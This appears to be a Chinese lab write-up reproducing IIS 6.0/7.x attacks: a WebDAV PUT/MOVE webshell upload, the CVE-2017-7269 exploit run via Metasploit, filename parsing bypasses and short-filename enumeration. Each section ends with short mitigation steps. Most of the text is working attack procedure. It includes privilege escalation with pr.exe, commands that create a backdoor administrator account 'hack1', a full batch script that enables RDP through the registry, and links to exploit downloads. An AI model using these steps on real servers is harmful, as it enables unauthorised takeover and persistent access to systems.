前提条件:
IIS 6.0
开启了WebDAV
并且拥有IIS
来宾用户拥有写入权限
复现过程:
用IIS PUT SCANNER
探测一下目标IIS
是否拥有写入权限
是YES
所以可以利用
先看原来的服务器上面存在的内容
我们利用另一个工具对文件进行写入,我们写入一句话webshell
上传test.txt
成功
上传上去是txt
格式,于是我们用MOVE
或者COPY
选项把它改成asp
后缀
菜刀连一下,拿到webshell
上传cmd.exe
和pr.exe
上去,这二者的用法是pr
提权
执行下面这条命令,把当前终端的执行程序设置成我们上传的 cmd.exe
setp "路径cmd.exe"
然后我们就可以pr
提权,查看一下当前是system
权限
于是我们新建管理员账户
pr.exe "net user hack1 123 /add" 新建一个hack1用户,密码为123
pr.exe "net localgroup administrators hack1 /add" 将hack1用户加入administrators管理员组
如果对方开启了3389
端口那么就可以用新建的用户登录,如果没有开启那么我们就上传一个bat
文件,它可以远程开启目标的3389
端口
此时运行利用pr.exe
运行3389open.bat
,成功开启3389
端口,可以连接
附上3389open.bat
文件代码
//3389open.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
关闭WebDAV
和写权限
前提条件:
IIS 6.0
开启WebDAV
复现过程:
exp下载地址:https://github.com/zcgonvh/cve-2017-7269
下载后放入msf
中,路径为/usr/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-
应该改为_
否则无法识别,然后拿到了shell
(失败后靶机恢复快照,否则可能之后的攻击无效)
这里说说我开始失败的原因
这种叫非默认绑定
这个exp
可以直接利用,如果是绑定了的,就需要手动输入物理路径的长度和端口即可
目前网络上存在三种脚本,我使用的这种是第二种,区别附图
很明显第一种用处不大,可以用第二种代替,第二种和第三种区别就是需不需要手动输入物理路径的长度和端口,第三种方便,但是第三种不咋稳定我们来看看如何手动输入物理路径长度
现在我们默认绑定
下载地址:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
检测出了长度为71
然后在msf
上设置PhysicalPathLength
为71
即可
输入whoami
都不行,是一个低权限账户
再次使用pr
提权,利用meterpreter
上传pr.exe
然后创建用户hack1
并添加到管理员组
netstat -an
查看是否打开了3389
端口,发现并没有
输入exit
回到meterpreter
上传3389open.bat
然后利用pr.exe
运行
netstat -an
查看一下,发现3389
端口已经打开
成功登陆
关闭WebDAV
前提条件:
IIS 6.0
IIS 7.5
复现过程:
IIS 6.0
解析漏洞有两种利用方式
(1)在.asp
目录下的任意文件会以asp
格式解析
(2);
截断,上传test.asp;.jpg
是一个jpg
文件但是会以asp
执行
IIS 7.0
解析漏洞
在文件后面加上/xx.php
(xx可加可不加)就会将该文件以php
格式执行,比如
(1)限制上传的脚本执行权限,不允许执行脚本
(2)对新建目录文件名进行过滤,不允许新建包含‘.’的文件
(3)不允许新建目录
(4)过滤.asp/xx.jpg
,通过ISApi
组件过滤
前提条件:
IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
IS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1,Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016
注意:IIS使用.Net Framework 4时不受影响
短文件名特征:
1.只显示前6
位的字符,后续字符用~1
代替。其中数字1
是可以递增。如果存在文件名类似的文件,则前面的6
个字符是相同的,后面的数字进行递增
2.后缀名最长只有3
位,超过3
位的会生成短文件名,且后缀多余的部分会截断
3.所有小写字母均转换成大写的字母
4.长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀
5.文件名后缀长度大于等于4
或者总长度大于等于9
时才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
漏洞原理:
访问构造的某个存在的短文件名,会返回404
,访问构造的某个不存在的短文件名,返回400
自动化探测:
https://github.com/lijiejie/IIS_shortname_Scanner
(1)升级.net framework
到4.0
以上
(2)修改注册表禁用短文件名功能快捷键Win+R
打开命令窗口,输入regedit
打开注册表窗口,找到路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
,将其中的NtfsDisable8dot3NameCreation
这一项的值设为1
,1
代表不创建短文件名格式,修改完成后,需要重启系统生效(之前存在的文件依然有短文件,新建的文件满足生成短文件条件但是不会再生成)
(3)那么之前的文件已经存在短文件名仍能够被猜解怎么办呢?将目录内所有文件剪切到另外地方再粘贴回来就行,相当于新建,这些就没有短文件名无法被猜解了
使用自动化脚本试试
Server is not vulnerable 防御成功
http://www.admintony.com/CVE-2017-7269.html
https://www.freebuf.com/articles/web/192063.html
https://www.jianshu.com/p/354fcf0939cc
https://www.freebuf.com/articles/web/172561.html
https://www.jb51.net/article/166405.htm